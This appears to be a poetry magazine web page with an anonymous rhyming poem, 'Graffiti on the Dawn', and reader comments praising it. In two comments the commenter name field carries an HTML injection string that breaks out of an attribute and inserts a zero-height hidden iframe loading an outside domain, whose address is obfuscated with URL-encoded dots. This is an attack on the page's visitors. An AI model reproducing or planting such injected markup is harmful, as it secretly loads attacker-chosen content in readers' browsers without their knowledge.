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Graffiti on the Dawn MAG

By Anonymous

      I

Gonna get my living on

Graffiti on the dawn

Although I’ve never drawn

Love

And beautiful women before

There is always a first

Coerced into everything

But the unrehearsed

Lines of true living

Like how the earth made love to the sky

And that’s where you and I

Come from

we arrived

warriors of the steel drum

Never to ask how come

we arrived

this way

I

Gonna get my living on

Graffiti on the dawn

Though the sun has undergone

The scissors

The amber blade

Laying sunshine in concave graves

Right next to those

I

Couldn’t

Save

Who numbered the days between cafes and the charcoal grays

Of passing away

Nicely

Where precisely

At dawn

I drew your picture although I’ve never drawn

As a symbol of your carrying on

Now

If only

I

Could get my living on.

© Anonymous

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on Jan. 16 2018 at 10:13 pm
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
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i love this so much!
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on Dec. 11 2017 at 4:17 am
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
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Fantastic poem,very nice
adinar SILVER said...
on Nov. 20 2013 at 2:58 pm
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I love this- it would make an amazing song, the wording would fit really nicely to music!
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I normally have a hard time enjoying rhyming poetry, but this is really nice. Well done!
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"There is always a first Coerced into everything". Really great. 
aphids77 said...
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this is awesome. it really surpasses most of the moderatley good poems in the magazine. this one has personality, imagery, contains deeper meanings and u included a great rhyming pattern that most people would abuse and stretch too far to find words that rhyme.. but u mastered it. WELL DONE. :)
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Fantastic poem, flows well, simple and sweet imagery... Awesome job, keep writing!